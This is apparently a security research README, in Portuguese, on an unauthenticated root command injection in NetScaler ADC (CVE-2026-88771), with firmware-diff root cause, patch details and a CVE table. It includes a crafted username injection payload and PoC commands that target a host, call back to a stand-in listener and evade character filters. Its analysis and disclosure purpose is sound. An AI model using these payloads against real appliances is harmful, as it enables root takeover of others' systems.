
Análise de diff de firmware, relatório de causa raiz e PoC funcional para a injeção de comandos não autenticada no NetScaler ADC (CVE-2026-88771) que leva à execução como root.
Execução arbitrária de comandos sem autenticação (como root) no Citrix ADC (NetScaler) 14.1-66.59 e 14.1-72.61. Corrigido em 14.1-73.37 (e 13.1-64.23). CVSS 9.5, afeta implantações padrão, nenhum recurso adicional necessário.
Este repositório contém a análise do diff de firmware, as evidências extraídas da vulnerabilidade e uma prova de conceito funcional.
analysis/CVE-2026-88771_STAGE_BY_STAGE.mdanalysis/CVE-2026-88771_ROOT_CAUSE.mdpoc/ — consulte poc/README.mdUma tentativa de login de gerenciamento sem autenticação malsucedida é registrada em /var/log/ns.log
com o nome de usuário controlado pelo atacante. O worker de telemetria root habilitado por padrão
(admautoregd, entregue no mastools_scripts.tgz externo do firmware)
executa periodicamente /netscaler/ns_monuploadd_err.pl -WR. Nas builds vulneráveis,
esse branch canaliza as linhas de log correspondentes por meio de um amplo grep | sed | awk
e interpola o resultado sem aspas em um comando de shell:
# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
Um nome de usuário criado como pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died
sobrevive ao pipeline como o token de shell NSPPE-00;id>/tmp/pwned;#-unexpectedly,
de modo que o sink de backtick executa find ... -name NSPPE-00, depois id>/tmp/pwned (root),
e então um comentário #.
POST não autenticado
para /nitro/v1/config/login
(evidence/gui-72.61/admin_ui/nitro/nitro.php);
o controlador de login do navegador encaminha username/password literalmente
(evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).length < 128 para o nome de usuário — nenhuma lista de caracteres permitidos
(descompilação em analysis/nsppe_api_login_799b90.c)./var/log/ns.log como
CMD_EXECUTED com o nome de usuário no registro (descompilação do formatador:
analysis/nsppe_cmdexecuted_decomp.c).nsstartpe.sh → admautoregd_ctl startup, root), e na sua primeira sondagem
mais a cada 24 h executa CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR'
via subprocess.Popen
(evidence/mastools-72.61/scripts/admautoreg/constant.py).-WR de ns_monuploadd_err.pl interpola o
token derivado do log sem aspas em um comando de backtick — execução de comando como
root, antes de qualquer verificação de existência de arquivo core.Ambas as metades foram corrigidas juntas:
ns_monuploadd_err.pl substitui o pipeline por uma regex Perl estrita
(apenas NSPPE-\d{2} + PID numérico) e invoca find via forma de lista
open '-|' (sem shell) — veja
evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.admautoregd é removido: CHECK_PE_FAILURE_CMD,
_check_disk_pe_failure(), get_pe_failure_info() desapareceram do
pacote mastools 73.37 — compare
evidence/mastools-72.61/ vs
evidence/mastools-73.37/.CVE-2026-88771 é uma de oito CVEs no boletim coordenado da Citrix. Conforme o boletim e o artigo público do watchTowr, o conjunto e sua disposição são:
| CVE | Descrição | CVSS 4.0 | Explorada em campo |
|---|---|---|---|
| CVE-2026-88771 | Injeção de comando pré-autenticação (este repositório) — configuração padrão | 9.5 Crítica | Sim |
| CVE-2026-88772 | Estouro de memória (RCE/DoS) quando DTLS habilitado — padrão para vServers VPN | 9.5 Crítica | Sim |
| CVE-2026-88773 | Contrabando de requisição HTTP — dependente de configuração | 9.3 Crítica | Não |
| CVE-2026-88774 | Dependente de configuração | 7.0 Alta | Não |
| CVE-2026-88775 | Estouro de memória — dependente de configuração | 8.8 Alta | Não |
| CVE-2026-88776 | Estouro de memória — dependente de configuração | 8.8 Alta | Não |
| CVE-2026-88777 | Estouro de memória — dependente de configuração | 8.8 Alta | Não |
| CVE-2026-88778 | ISN previsível — corrigido habilitando Enhanced ISN Generation, não apenas pela atualização | 8.8 Alta | Não |
Versões corrigidas conforme o boletim (não apenas os pares 14.1 / 13.1 acima):
Apenas para testes autorizados. O lado remoto é um único POST HTTPS
não autenticado; o comando injetado é executado depois como root, quando o
worker de telemetria executa sua verificação de falha de PE a cada 24 h (reiniciar o appliance, ou
reiniciar o admautoregd, força isso).
# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example
# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
--cmd 'id>/tmp/cve88771_ef60f0de46d9'
# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3
Espere HTTP 401 — o login falho é exatamente o que grava a linha de auditoria.
Em seguida, no appliance (ou aguardando até 24 h) dispare o worker:
reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart
Verifique a execução como root: ls -l /tmp/cve88771_ef60f0de46d9 deve mostrar
root:wheel.
Aplica as mesmas regras de payload: um comando com espaço literal, (, ), ?,
ou & é rejeitado antes do envio (saída 2). Use ${IFS} para espaços.